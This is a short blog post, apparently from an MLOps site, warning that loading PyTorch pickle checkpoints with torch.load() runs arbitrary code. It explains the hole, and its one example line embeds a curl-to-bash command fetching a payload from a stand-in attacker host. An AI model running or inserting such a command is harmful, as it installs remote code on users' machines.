A Model File Is Not a Spreadsheet

Fri, 14 Aug 2026 14:05:24 +0000

When you call torch.load() on a downloaded checkpoint, you’re not reading data — you’re executing code written by a stranger.

This isn’t a metaphor. It’s a literal description of how PyTorch’s default serialization format works. The .pt and .bin files that flow through ML pipelines are pickle files, and pickle’s entire model is that deserialization means execution. When you load one, Python calls the __reduce__ method on every embedded object, which can return any callable with any arguments. An attacker who knows this can embed os.system("curl attacker.com/payload | bash") directly into what looks like a weight tensor. Your data science team runs torch.load(), and a shell opens.

Mlops on BRYSGO

A Model File Is Not a Spreadsheet